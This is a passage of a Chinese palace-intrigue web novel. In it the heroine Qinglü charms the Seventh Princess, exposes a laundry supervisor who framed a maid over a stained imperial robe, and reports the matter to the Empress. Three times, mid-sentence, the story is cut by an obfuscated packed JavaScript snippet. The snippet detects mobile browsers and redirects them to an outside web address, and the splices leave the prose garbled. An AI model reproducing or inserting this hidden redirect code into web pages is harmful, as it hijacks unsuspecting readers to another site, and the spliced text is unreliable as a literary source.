“青绿是何方妖孽?浑身长满绿毛么?六哥还专门给她留了吃的?你拿下来,我偏吃了,六哥能把我怎么着?” 青绿一愣:躺着也能中枪。 萧文渊耐心哄着小姑娘:“不吃那个可好?这是姐姐专门给公主熬的公主最爱吃的鲜百合莲子羹。” 小姑娘执拗道:“不吃,我偏要吃玫瑰鸡油酥” 宫人传报的声音:“萧舍人,兰台的凡主簿在门外求见六殿下。” 静了片刻,便听小姑娘忿忿道:“什么青绿青红的,不见,替本公主打了出去。” 又听刘睿的爽朗声传出:“好个刁蛮小七,撒野撒到六哥的地盘上来了。” 萧文渊柔声道:“笃学房散学后,公主便过来了。我见公子在内室阅文,便没有惊动。” 小姑娘气呼呼道:“六哥,你不是口口声声说最疼我么?怎的说话不作数?” “这是从何说起?”刘睿的声音带着夸张的疑问。 小姑娘道:“我要吃鸡油玫瑰酥,文渊姐姐说你是留给什么长得又青又绿的长毛姑娘的,难道在六哥心里我不及她么?” 刘睿扑哧一笑:“天地良心,在六哥心里,没有哪位姑娘比小七更重。但六哥记得小七不爱吃鸡油玫瑰酥。” 小姑娘道:“我长大了,转性了不行么?” 刘睿道:“行,特别行,慢说是吃鸡油玫瑰酥,便是要吃六哥的肉,六哥也乐意。” 小姑娘咯咯咯直乐:“我才不要吃六哥的肉,母后说吃人肉会变成蜀山老妖。哦,你快传了什么青绿进来,叫她吃一口你的肉,我想看看她如何变成老妖。” 刘睿笑道:“遵七公主令,传青绿姑娘。” 便听接二连三的声音传出门外:“传青绿姑娘觐见。” 青绿一脚迈进书房,房内三人目光全落在她身上,各人脸上的神情皆透着些古怪。 那名眉眼与刘睿十分相像,如瓷娃娃般的七八岁的小姑娘,便是与刘睿一母同胞的七公主刘雅颂,正撅着鲜红的小嘴,忽闪着充满灵气的双眸恨恨盯着她;萧文渊脸带微笑,略看了她一眼,笑容有些玩味;刘睿的视线却直直落在她的头上,露出些许惊讶。 猛然间,刘雅颂把捧着的精致绿玉小碗朝桌上一顿,一手抓起桌上食盒里的鸡油玫瑰酥飞快地塞进嘴里,一边瞪着青绿道:“这是六哥给我的,不给你吃。” 青绿脸上露着莫名其妙,心道:萧文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590471|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊这便是你的小心思?小鸡肚肠。 刘睿的视线从青绿头顶收回,抓住刘雅颂的小手笑道:“好我的小七公主,无人与你争抢,这青绿姐姐不怎么爱吃鸡油玫瑰酥,是吧?”向青绿眨了眨眼。 青绿很配合地点头道:“是不怎么爱吃。” 刘雅颂一愣,停止了填充行为,身子扭成了小麻花:“她不爱吃,六哥你还要留给她,若她爱吃鲜百合莲子羹,是不是更要留给她?” 刘睿哭笑不得,狠狠瞪了萧文渊一眼。 萧文渊看样子甚是后悔,忙上前劝道:“哪能呢,百合莲子羹谁都不许吃,全给公主留着呢。” 刘雅颂破涕为笑:“准六哥吃一点点。”言罢,甚为得意地瞪了青绿一眼,低头乖乖吃了起来。 青绿眨巴一下大眼睛:这凶巴巴的小七公主看来也不难搞定。 刘睿这才转向青绿,略带揶揄道:“凡主簿驾到,有何贵干?” 青绿双手交叠置放身侧,微微屈膝颔首对刘睿行礼道:“也无甚事,前日去见了宋婶,她过得很好,我特来向殿下小哥道谢。” 她低头之际,恰逢刘雅颂心满意足地吞下最后一口莲子羹后抬头。 猛然间,刘雅颂看向青绿头顶的眼神,与刚才刘睿看见青绿进门时的神态如出一辙,脸上还露出了十分羡慕的表情。 青绿的头上盘着一个别致的发髻,由数百根贴着头皮编织而成的小辫扭成,其繁复、精致程度令人叹为观止,发髻四周散落的几绺青丝,用薄如羽翼的粉色丝绸扎成几个小小的蝴蝶结,随着脑袋的晃动,几个小蝴蝶上下翻飞煞是好看。 还在秀女教习室时,汤圆要给青绿编这个名为千丝绦的发髻,说是她奶奶教的,青绿光听名称便不愿意,但当汤圆在梨子头上摆弄完后,她不得不承认,这个立在梨子头顶偏右处的千丝绦,是她见过的最为适合小姑娘的发型,活泼灵动,大气典雅。 青绿回京后,每日被妹娘投喂催肥,身上肉肉没长多少,头上的稀疏黄毛却一派繁荣,平日她图省事,在头上梳个小圆髻用一根玉簪挽紧了事。昨夜她下了极大功夫,凭记忆指导慧妈妈在小北头上实践了多次,早上让慧妈妈在头上摆弄了足足一个时辰。 刘睿一脸懵逼地问青绿:“为何谢我?” 青绿待要回答,刘雅颂用肘子碰了碰她的肩膀,嗫嚅道:“青姐姐,绿姐姐。”顿了顿,见她无任何反应,只得用手扯了扯她的衣袖,“青绿小姐姐。” 青绿视线集中在刘睿脸上,只当没听见她说话,自顾满怀感激对刘睿道:“若不是殿下小哥仗义执言,管胖子师兄,他才懒得带我去见宋婶。” 刘睿脸上的每一个毛孔都透着不相信:“区区小事何足挂齿,你来这里便为了此事?” 青绿诚恳道:“是为此事。” 刘雅颂把装着鸡油玫瑰酥的食盒捧到青绿面前,涨红了小脸道:“小姐姐,你吃。” 青绿此时仿佛才发现刘雅颂的举动,受宠若惊地伸手欲接过食盒。 刘雅颂双手往回一缩:“你得告诉我,你头上的小辫是谁给你编的?” 青绿满口答应:“告诉,马上告诉,这是一位秀女姐姐教我编的。” 刘雅颂顿时眉开眼笑:“你让她即刻过来教本公主编小辫,即刻,马上。” 青绿欠欠身表示歉意:“这个么,恐怕没那么容易,她来不了。” “让一名秀女来教本公主编小辫很难么?我都叫不动了么?六哥你去,看她敢不来。”刘雅颂很生气。 青绿垂下眼睑:“不瞒七公主殿下,这秀女名为汤圆,前日冲撞了七公主,现在永巷。” 刘雅颂毫不过脑道:“六哥,你去永巷将她带来。” 刘睿倒吸了一口凉气,狠狠剜了青绿一眼,对刘雅颂温言道:“你当永巷是想去便去想走能走的地方?” 刘雅颂泫然欲泣:“六哥,你不疼小七啦?” 刘睿无奈,又狠狠地剜了青绿一眼。 青绿装傻,拿起一个鸡油玫瑰酥放进嘴里,满脸陶醉地对刘雅颂笑道:“鸡油玫瑰酥好吃,谢谢七公主。” 萧文渊的快乐溢于表面,她好整以暇地看着青绿,似乎在说:你也有将公子惹恼的一天,等着看他怎么收拾你。 但下一刻她提前失望了,因为她看见青绿悄悄对刘睿竖起了一个大拇指,而那位万事挑剔的六皇子,脸上露出了比刚才听到七公主命他到永巷捞人更为无奈却只能接受的表情。 青绿暗暗松了一口气,她让小石头打听七公主的日常爱好,小石头从笃学房书童小溪处打听到七公主爱编小辫子,她便想到了这个法子,借用刘睿这尊大神,既能捞汤圆亦不至于惊动皇后。 只是,怎么救七竹? 43.第四十三章 主簿 青绿飞快地用完午膳,回到书房,看隔壁瓜老头的书房门是锁着的,便想趁午憇之机去一趟秀女教习室看汤圆,再和钟离梨商量如何捞七竹。 才要出门,管胖子踱进来,一边剔着牙缝一边笑眯眯道:“凡主簿公务繁忙哦。” 青绿忙道:“能不忙么,堆了好几个月的活呢。” “兰台俊杰们看到你回来,均如释重负,说凡主簿出去办差仨月,董中丞的脸便如早春带霜的黄瓜般绿了近百日,都等着凡主簿排忧解难,孰料凡主簿神出鬼没,想让凡主簿递个文案啥的,守株待兔好几日都守不着。” 青绿脚步顿时一滞,如同被人抓住了小辫子般,心慌慌去看管胖子的脸色,见他神色如常,方才暗松了一口气。 兰台是一个绝对独立的机构,直属天子掌管,掌门仅对皇帝负责。 但麻雀虽小,五脏俱全,青绿花了好大功夫才厘清其组织架构与各部门职责。 兰台分曹治事,有上、下、左、右、后共五曹。上曹负责监察朝廷官员,乃首要部门;下曹负责监察地方官员;左曹负责收集情报及执行特殊任务,兼训练暗卫及谍子,又称飞蝶处;右曹职责便有些繁杂,处置□□举告、分曹转送,整合情报信息、析要上呈,及掌控舆论;后曹负责后勤庶务,包括管理兰台监狱、刑讯犯官。 青绿的主簿之职,是主管文书、簿籍及印鉴。工作繁杂琐碎,每日记录留言、回复咨询、撰写纪事、起草文书,管理档案以及各种印章,迎送宾客等,关键是安排好瓜老头的公私事,精准理解他的意图,替他过滤掉一些非必要的庶务,所以必须把握好分寸。 瓜老头大多时辰在尚书台与太傅、尚书令共同审视有关天下的最高决策,将一些逾矩的提法扼杀在摇篮里。在兰台的时辰,除了在书房给一摞摞的呈文签字画押外,便是在西院一间极其封闭的房子里,青绿称为小黑屋的,与某位朝廷命官谈话。 青绿不知道瓜老头与他们所谈何事,她仅负责安排,但她看见从小黑屋出来的官员,浑身上下并无任何伤痕,却一个个汗透衣杉,更有甚者,直接从里面抬出来。 瓜老头在兰台不多的空闲时辰,便是呆在后院的瓜地。 主簿这个角色,秩禄不高,却如同木构建筑中承上启下的关键榫卯,安排不当,便会打乱瓜老头一整日的工作步骤。青绿在安排办事秩序上有种天生的能耐,能将纷繁的事情安排得合情合理,绝不会出现瓜老头前脚才踏进小黑屋,后脚便被尚书台的尚书拽走的情况。 兰台平日见不着多少往来人员,吏员们不是埋头书房,便是出没无常行踪难寻,原来都在暗地里等着自己安排工期,青绿汗颜,打消了翘班的念头,乖乖将头埋在堆积如山的文案里。 青绿又双叒叕开启了夜晚加班,住在侍御史宿庐的苦逼日子。 她还是每日教小石头认十个字,见他聪明,便又教他简单的计数。 小石头学得很刻苦,眸子里除了感激,更盛满了对未来的憧憬。 此日,青绿用过晚膳,小石头进来给她打扫书房,告诉她一个等待已久的消息:翌日午时,浣衣室的夏秋姑姑到寿安宫收浣洗的衣裳。 后宫大件衣裳的浣洗由浣衣室统一收集浣洗。 青绿合上卷宗,弯唇道:“谢谢石头。” 小石头羞涩道:“不用谢,奴才很高兴能替主簿姐姐做事。” 青绿悠哉游哉地进了寿安宫,站在斜靠在美人榻上的太后面前,从袖子里抖搂出一条肥硕鲫鱼,挤眉弄眼道:“太后娘娘,青绿今日运气好,捡了一条肥鲫鱼,赶来孝敬您老人家,还照着上回烤鸡的做法,在后花园升上柴火,抹上盐末烤熟了,嗯,可香了。” 太后看起来精神不错,双目严厉地瞪着青绿,语气却十分愉悦:“你又去招惹那些个管池塘的嬷嬷了?” 当初青绿不清楚宫里的活物已经包产到人,一次,见兰台附近一株紫玉兰开满了碗口大的花朵,便摘了一朵,被一名嬷嬷举着长扫帚撵了几条甬道,最后躲进太后的寿安宫,那名嬷嬷不依不饶地在大门外跪求太后评理,把个太后乐得咳了好一阵子。 青绿苦着脸道:“给我熊心豹子胆也不敢再去招惹嬷嬷们,实在是这条鲫鱼喜欢我得紧,我刚路过凝翠湖,它便从水里跃入我怀中。” 方才她经过凝翠湖时,这条鲫鱼不知何故跳上岸,在地上蹦哒了好一阵,青绿与管池子的嬷嬷达成协议,用一个苹果作为交换。 玉嬷嬷端着一个内装鲜牛乳炖燕窝的翡翠绿玉碗走过来,对太后笑道:“太后说啥来着?只要有好吃的,那娃娃必定前来,真真是料事如神。”。 青绿皱了皱精致的小鼻子:“真香。”循着香味便看见了桌上摆着的糕点,用面捏成的十二生肖,一个个胖胖的拇指般大小,活灵活现,散发着牛乳的清香,甚为弹牙可爱。 她两眼顿时发出绿光,看了好一会,才恋恋不舍地将目光从糕点上拨出来,咽着唾沫对太后道:“太后老祖宗不用给我吃这些点心,再吃我便胖成猪了,我都等不及要将自己放在砧板上了。” 太后呵呵一笑:“阿玉,索性将你手上的燕窝羹也给这丫头吧。” 青绿屈膝行了谢礼:“谢太后恩典。”伸手接过翡翠绿玉碗。 太后摇头道:“你回京也有好一阵子了,怎的还如饿鬼投胎一般?罢了,哀家咳嗽才好些,鱼便留着你自个烤吧。”盯着她的小脸,“嗯,水灵了许多,扔到雪地里,再不能凭着炭色去寻了,只是身子骨仍旧单薄,兰台掌门没按时给你开月钱?” 青绿右手掐指如飞,然后忿忿道:“瓜老头欠我许多俸禄。我干一日应得二百五十钱,两日五百,十日五千。干了三个多月,算它十个十日只多不少,五千乘以十再乘以十,总数应为五十万,可我每月到手只有几斛大米。” 在太后面前,她给自己的定位是负责凑趣,把太后哄开心才好办事,故怎么信口开河怎么来。 太后见她一本正经地胡诌,早又笑得捂着胸口道:“好你个二百五,教你算数的先生是放印子钱的么?再算下去,朝廷管银子的大司农还不得哭晕在茅厕。” 一屋子人正乐着,忽听窗外传来“啊”的一声惨叫。 室内众人瞬间安静下来,玉嬷嬷呵斥道:“何人在外喧哗?惊着了太后,该死。” 便有一个沙哑的妇人声音回道:“奴婢是浣衣室的,来取寿安宫的浣洗衣裳,不小心惊扰了太后,奴婢罪该万死。” 一名胖乎乎的小宫人抱着一只胖乎乎毛绒绒的白猫跑进来,在太后面前跪下道:“奴婢抱着兔兔在外晒太阳,浣衣室有两名宫人来收衣裳,不知何故,兔兔突然朝其中一名宫人扑去,在她胳膊上挠了几道口子。” 这只名为兔兔的白猫是太后的宠物,一对圆圆的绿莹莹猫眼总是滴溜溜地看人,看着看着便突然朝人的身上扑,但总在吓人一跳之时突然停止攻击,似乎目的已经达到。 青绿被它吓过一回,后来明白这兔兔的劣根性后,第二次再见它朝自己扑来便不再惊慌失措地躲避,而是立定脚步瞪大眼睛与它对视。或许是兔兔觉得无趣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603981|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒洋洋地缩回专职抱猫的胖宫人阿毛怀里,从此再也没有正眼瞧过青绿。 但兔兔只是逗弄人,却从未听说过它挠人。 太后有些意外,对玉嬷嬷道:“带进来,看伤得如何,让哀家瞧瞧。” 两名宫人战战惊惊被带到太后面前,一名约摸十七八岁,脸皮蜡黄,缩头缩脑,另一名四十左右,长着一对吊梢眉,看人贼眉鼠眼。 二人跪下四肢着地拚命叩头道:“太后饶命。” 太后对玉嬷嬷道:“阿玉,你看看她伤在何处?” 吊梢眉宫人眼角余光朝黄脸宫人撇了一下,一边对太后叩头,惶恐笑道:“奴婢是浣衣室管事汪氏,这小的是夏秋,没见过世面,刚才她只是被猫惊了一下,并没有受伤。” 夏秋袖着胳膊朝汪氏身后躲。 太后和颜悦色对夏秋道:“在伤处上些膏药,过两日便好了。” 玉嬷嬷撸起夏秋的袖子看伤处,刚才兔兔挠得并不深,不过抓破了表皮,渗出一些细微血丝,但她胳膊上布满了横七竖八的旧伤,有些伤疤的宽度甚至超过并排二指。 汪氏撇见太后在看这些伤痕,忙又叩头道:“这孩子脑子有些不好使,常弄混了各宫衣裳,每次都得费劲辨认,故受些惩戒,也是让她长记性。” 太后不悦道:“受责罚是应该的,行差踏错多教导些便是,犯了大错自有皇后处置,何时轮到各室动用私刑了?” 汪氏叩头如啄木鸟敲击树干,咚咚作响,一迭声道:“太后教导得是,奴婢往后再不敢了。” 太后头一摆:“下去吧。” 汪氏如蒙大赦,朝太后咚咚咚又连着叩了三个响头,起身拉着夏秋慌里慌张便要离开。 “慢!” 青绿在旁突然发声,声音不高,但却有一股摄人的力量。 众人朝青绿看去。 汪氏打了一个冷战,眼神怨毒地看向青绿。 青绿负手踱着方步来到黄脸宫人面前,歪头打量了她一会,冷然问道:“你叫夏秋?” 黄脸宫人被她的气势所压,惊慌失措叩头道:“正是,正是奴婢。” 青绿对太后道:“太后,我有几句话问她。” 太后目光定定看着青绿,随后笑道:“浣衣室可没甚好吃的,你当是御膳房呢?” 青绿敛了脸上的笑容,对玉嬷嬷严肃道:“玉嬷嬷,劳烦你把汪嬷嬷先带出去。” 吊梢眉汪氏脸色顿时大变,对太后道:“这夏秋是个傻子,太后可别信她的话。” 太后居高临下,目光半阖着扫过她,语气平淡,尾音却微微上挑:“哦,你知道她要说些啥?” 汪氏避开太后锐利的目光,瞪着夏秋压低嗓门道:“应答问话要过过脑子,千万不敢瞎说,说错了可是要被剥皮抽筋的。” 夏秋吓得身躯一震,头几乎垂到地上。 玉嬷嬷怒道:“拖下去,太后跟前何时轮到你这个奴才颐指气使。” 两个身强力壮的姑姑将汪氏生拉硬拽了出去。 玉嬷嬷屏退所有宫人,只剩自己在太后跟前侍候。 青绿在夏秋跟前蹲下身子,语音凛冽:“抬头看着我的眼睛,我问你话,你如实答来。” 夏秋吓得几乎哭出声来:“奴婢不敢。”始终不肯抬头。 青绿托起她的下巴,盯着她的眼睛直截了当问:“皇后礼服上的污渍是怎么回事?” 夏秋的脸瞬间由黄变绿随后变成惨白,一下瘫倒在地上,额角抵着冰凉的地砖,险些没吓晕过去。 44.第四十四章 问话 青绿揪着夏秋的衣领强迫她抬起头来,凝眸看着她道:“你不说是吧,只好送你去永巷了。” 太后身子微微前倾,接过玉嬷嬷递过来的茶盏抿了一口,抬起眼皮看向青绿。 夏秋挣开青绿的手,下意识躲开身子:“奴婢不敢说,说了要被汪嬷嬷打死的。” 青绿眼神冷得像淬了冰盯着夏秋,语气也冷得如一把架在她脖子上的刀:“太后娘娘在上,你说实话或许还能饶你一命,一旦去了永巷,先受苦刑再被打死,该吐的你还是得吐出来,你自已选。”见夏秋仍在犹疑,站起身来,“再不说我可没耐心了。” 夏秋犹疑片刻,眼底闪过一丝决绝,猛然直起身子,膝行向前抱着青绿的双腿,惨切道:“我说,我全都说。” 哆嗦着身子,声音颤抖着说出了事情的来龙去脉。 汪氏之前一直在暴室干晾晒衣物的活,去年才到了浣衣室,她为人嚣张,常在宫人面前夸口椒房殿陈尚衣是自家远亲,还毫不避讳地当着众人的面,说浣衣室管事的位置迟早是她的,引得浣衣室那些趋炎附势的宫人整日围着她转,对七竹阳奉阴违。 夏秋性情木讷,七竹指挥不动众人,便多带着她做事。七竹领了浣洗皇后礼服的活后,从浣洗、晾晒到熨平、折叠皆亲力亲为,但凡有宫人靠近均被她支开。 那日七竹送浣洗干净的礼服去椒房殿,因还要取回各殿换下的衣裳,便带上了夏秋。 临行前,七竹要上恭房,将包好的礼服递给夏秋。 夏秋捧着礼服站在门外等候七竹,便看见汪氏与浣衣室宫人沙氏朝恭房走来。 汪氏趁夏秋不备,一把抢过礼服道:“拿的何物?” 夏秋忙伸手想夺回来:“这是皇后娘娘的礼服,七竹嬷嬷说任何人都不许碰。” 沙氏挡在夏秋面前阴阳怪气道:“你个贱婢,连你都碰得,汪嬷嬷碰不得?” 汪氏却立即将礼服交还夏秋:“既是皇后娘娘的礼服,我便不看了。”恶恨恨盯着她,“若敢告诉七竹,打死你如同打死一只臭虫。” 七竹从恭房出来后,夏秋便与她去了椒房殿,夏秋见礼服包得好好的,似是无人动过,便也抱着侥幸心理,没将此事告诉七竹。 说到此处,夏秋闭上眼睛,有些虚脱,玉嬷嬷递了一碗水给她。 她捧着碗咕咚咕咚连喝了几口,缓了一会继续道:“到了椒房殿,陈尚衣只将礼服打开看了一眼,便指着一处污渍大骂七竹嬷嬷成心让皇后失德,也不让她分辩,便着人将她押进了永巷。” 青绿追问:“没有禀报皇后?” 夏秋摇头道:“事后才禀报的。我回到浣衣室,越想越害怕,便去问汪嬷嬷,礼服上的污渍是怎么回事?她问我是不是在怀疑她?还说无凭无据的,再敢胡说便拨了我的舌头。汪嬷嬷升为管事后,更是时常找茬打我,我被打怕了,更不敢说话。”言罢,缓缓解开衣襟。 已是秋天,夏秋只穿一件单薄外衣,内里并无中衣,但见她身上伤痕累累,令人不忍卒睹。 夏秋掩了外衣,匍匐在地脑袋敲得地面咚咚响:“奴婢说的句句是实,求太后饶了奴婢。” 太后将手中茶盏重重搁在托盘上,怒道:“贱奴才竟敢克扣宫人衣物,还动用私刑。来人,将汪氏就地打死扔出去喂狗。” 后宫用度皆有规制,宫人四季衣裳亦有定例,外衣中衣全套搭配。 青绿忙上前躬了躬身道:“太后娘娘息怒,处置一个奴才,用不着您费神,交给皇后娘娘处置便是。” 太后嘴角微弯,点头道:“也罢,才说过不用私刑,哀家不破这个例。你将汪氏押去椒房殿,再让皇后好好查查宫内各处是否还有这些个目无纲常的奴才。” 青绿道:“遵旨。” 太后忽又似笑非笑地看着青绿,语气却带了疑问:“只是,娃娃你又是如何得知此事?” 青绿云淡风轻道:“前些日子,我在菡萏池旁纳凉,偶尔听到两名路过的浣衣室的小宫人闲谈,说夏秋因为皇后礼服的事被管事嬷嬷打得半死不活,我也不太放在心上。偏巧今日被我撞着了,竟被我问出此等冤情,又在太后主持下得以昭雪。” 太后脸上表情越加愉悦,轻轻拍了拍她的手背,眼神柔和道:“少在这拍哀家的彩虹屁,你僭越皇后在哀家这里演了一出审案的戏码,看她怎么收拾你,还是先想想如何自救吧。” 青绿耸耸肩膀:“我只说遵太后娘娘懿旨。”起身向太后告别,“青绿这就把汪氏带走,免得脏了太后娘娘的地。” 脚步轻快地离开太后的寝宫。 太后看着青绿的背影消失,眉头轻皱,对暗影处的叶虫子道:“小娃娃若不来,我还得费神着人去寻,这黑黢黢的模样明显是经大漠暴晒,原先我便想到管胖子去了西域,果然。你着人悄悄放出管胖子从西域回来的风,让兰台乱一阵子,免得那些侍御史闲下来无事找事。” 叶虫子点头,飞身掠出宫外。 青绿尚未走出寿安宫,便看见胖乎乎的小宫人阿毛和圆滚滚的兔兔并排坐在廊椅上乘凉,兔兔闭着双目,憨态可掬。 青绿问阿毛:“兔兔睡着了么?” 阿毛摇头道:“没有呢,主簿姐姐,这儿凉快,兔兔每日要在此处吹凉风。” 兔兔懒洋洋睁开眼,看见青绿,一下跳到阿毛怀里,猫眼不客气地盯着她。 青绿袖中抖出肥鲫鱼,递到兔兔跟前讨好道:“兔兔乖,这是孝敬你的鱼鱼。” 兔兔伸头嗅了一下,嫌弃地掉转身,屁股对着青绿,一根毛茸茸的大尾巴在青绿脸上拂了拂。 阿毛拍拍它的胖脑袋笑出声来:“不许甩脸给主簿姐姐哦。” 兔兔的脸仍然贴着阿毛柔软的胸脯,只是稍稍扭了一下头,露出半张猫脸和一只猫眼,极为勉强地给了青绿半个面子。 青绿笑问阿毛:“今日兔兔为何挠人?” 阿毛道:“奴婢方才想了想,可能是夏秋怕猫,被爱唬人的兔兔一扑,慌乱之中伸手去挡,碰着了兔兔的眼睛,惹得兔兔炸毛才去挠她的。”她捧着兔兔的大胖脸,“主簿姐姐您看,兔兔一只眼睛还带着血丝。” 青绿面露恍然之色:“原来如此。” 寿安宫的两名强壮宫人押着汪氏在前面走,青绿两手拢在衣袖里,貌似悠哉游哉远远跟在后头。她左手食指轻轻摩挲着大拇指左侧,这是她陷入深度思索时的习惯性动作,脑子里在紧张地盘算着该如何向皇后交代。 太后说得没错,后宫归皇后管,宫人犯错自然也该由皇后处置,所以七竹被汪氏诬陷这件事,本应直接禀明皇后处置。但青绿不能这么做,她要救七竹绝不能让任何人知晓,因此无法在皇后面前替七竹鸣冤。 青绿了解到浣衣室的宫人隔三差五到各殿收集浣洗衣物,便让小石头暗地里打听夏秋的行踪。 小石头从阿毛那里得知,今日夏秋会来寿安宫,青绿便立刻寻了个由头到了寿安宫,但没料到汪氏竟然也一同跟来,被她逮了个正着。 相对太后而言,青绿面对皇后李楚瑶总有些不自在,倒不是皇后权势滔天高高在上令人不敢直视,而是皇后在世人眼中堪称完美,德言工容无一不是典范,以至于无拘无束的青绿在她面前总觉得有些自惭形秽,无形中便有些拘谨。 故除了在太后处见过一两次皇后外,青绿从没有主动踏进椒房殿。 青绿攥着衣袖站在椒房殿正殿的汉白玉台阶上,望着垂挂的珍珠帘幕,深呼吸了几次,才轻提裙摆,小心翼翼跨过鎏金铜门槛,踏入香气四溢的室内。 凤座上端坐着的皇后,一袭明黄凤袍衬得她风姿绰约,眉似远山,眼若秋水,肤如凝脂,举手投足间,带着母仪天下的端庄,风华绝代。 她投向青绿的目光平和而温柔,却自带贵气。 青绿敛衽屈膝行了宫礼,声音带着怯意却清晰如素弦轻弹:“青绿叩见皇后娘娘,皇后娘娘万福金安。” “起来吧。”皇后抬手示意身侧宫人,“给青绿姑娘赐坐。” 青绿谢恩,在凤座下首的木杌上坐下。 皇后笑问:“今日是什么风把姑娘吹来了?” 青绿看着她脸上和洵的笑容,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617664|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何,原本紧绷的心弦一下便松了下来,欠身道:“皇后娘娘,青绿今日前来,是有事向您禀报。” 因将方才寿安宫的事件始末,一五一十细细禀明,话语间虽难掩紧张,却句句条理分明。 皇后神色如常地听完青绿所述,微蹙着秀眉,唤来椒房殿大长秋令灿嬷嬷,吩咐道:“查清陈尚衣是如何做的手脚?还有何人牵涉在内?无论前朝后宫都一一查明报来。这些大胆奴才今日敢陷害一名宫人,明日难免不敢构陷嫔妃、公主、皇子,须得狠刹此等邪气。” 灿嬷嬷应道:“奴婢即刻去办。” 皇后又道: “你再暗地里派人查看各宫是否还有此类冤情。”沉吟片刻,“你定一个查访章程,列明何时、何地、遣何人、赴何殿查访,限一月之内事毕,须将所察弊端逐一列明,不得遗漏。” 灿嬷嬷领命而去。 青绿对皇后铁腕治宫佩服得五体投地,因心悦诚服地对皇后道:“皇后娘娘真知灼见。青绿在得知浣衣室有宫人滥用私刑,本应先禀明皇后,由皇后处置才是,只是今日我恰好在太后宫中,事发突然,故而冒昧先把人拿下了。” 她没有转告太后让皇后好好查查各个宫殿的嘱咐,皇后都想到也做到了,自然不必再多此一举。 皇后语气平和道:“青绿姑娘做得甚好,到底是兰台的,若非姑娘细心,还不知这些奴才瞒着本宫作恶到何时呢。”不疾不徐的语气里竟似有一丝叹息,“宫里的规制不可谓不严,惩罚也不可谓不重,却仍有大胆狂徒犯险。” 青绿不着痕迹地说着好话:“天下熙熙皆为利来,天下攘攘皆为利往,只要有利可图,便不能断绝贪财者的妄想。皇后娘娘做得其实已经够好了,我进宫的时日虽然不算长,然而所到之处,无不赞扬皇后处事‘三公’。” “三公?”皇后不解。 青绿笑道:“公开、公平、公正。三公。” 青绿并非是拍皇后马屁,至少不全是,事实上,庞大的后宫,宫人大多赞皇后贤明。 皇后静静看着青绿,青绿澄澈干净的眼神,如春日初融的雪水,不掺一丝杂质。 皇后有些动情:“你的眼睛,像你娘亲。”微微抬头,目光越过青绿头顶看向窗外蔚蓝的天空:“你娘亲天赋异禀,似乎这世上没有何事能难得倒她。管理后宫的一些法子便是她的建议,她说后宫近三万人,靠人管人很难,要靠规制管人。” 青绿点头,她记忆中的娘亲,做事总是有条不紊。 灿嬷嬷忽又进来,立在一旁,似是有事禀告。 皇后一脸坦荡:“何事?” 灿嬷嬷轻声道:“东宫遣人来禀,马璨璨着了风寒,现卧病在床。” 皇后指尖轻叩凤椅扶手,语气带着几分体谅:“你送些大补之材过去,让她放宽心养好身子。” 灿嬷嬷道:“依奴才愚见,她便是太实在,和别人起了争执,也只是自己憋着,久了容易落下心病。” 皇后不动声色地瞥了她一眼。 灿嬷嬷连道:“奴才胡说,该死。” 皇后摇头道:“罢了,本宫过去瞧瞧。” 青绿隐约记起,钟离梨曾提到过皇太后欲立萧文渊为六皇子妃,皇后并不赞同之事,心道:皇后这是亲自去给马璨璨站台么?唉,宫斗真复杂。 青绿遂起身告辞。 皇后握了握她的小手,笑容浅淡道:“二姑娘,有事无事来椒房殿走走,你娘亲,与本宫有许多话题。” 青绿老怀顿慰,原来你与我娘是闺密哦,因颔首施礼道:“谢皇后娘娘恩典。” 她却不知,皇后若有所思看着她的背影消失在门外,对灿嬷嬷轻言慢语道:“这娃娃绝顶聪明,往后多关照着些,别让长寿宫那头拉过去了,没的给睿儿立妃添加麻烦。” 若青绿知道豪放不羁的太后和温文尔雅的皇后都打着拉她站队的同一个主意,不知作何感想,是得意忘形还是瑟瑟发抖? 她进兰台的第一天,瓜老头便明确告诉她:兰台权力滔天,但仅听命于皇帝,不参与任何党争。是要求也是警告。 45.第四十五章 吟媚 从永巷捞七竹的事既已有了着落,青绿便耐心待在兰台等候消息。此事急不得,汤圆进永巷是因得罪了七公主,被下人私自关押,并未入罪,通过殿下小哥悄悄将她捞出来便是,管理永巷的内监丞也乐意给刘睿这个面子。 七竹则不同,她是获罪入狱,虽说已经查明是蒙冤,但出狱还需正儿八经走完所有流程,如掖庭狱的复核及最终判定,还有签发文书、验明正身、办理交割手续等等,才能放行离监,这一系列步骤下来,既繁琐又费时,青绿也不敢过问,怕引人注意。 故青绿每日待在书房或库房,老实得如同一只鹌鹑。 此日,管胖子踱进青绿书房,对埋头卷牍的青绿调侃道:“凡主簿坚守岗位已数日,敬业精神令师兄佩服得紧。” 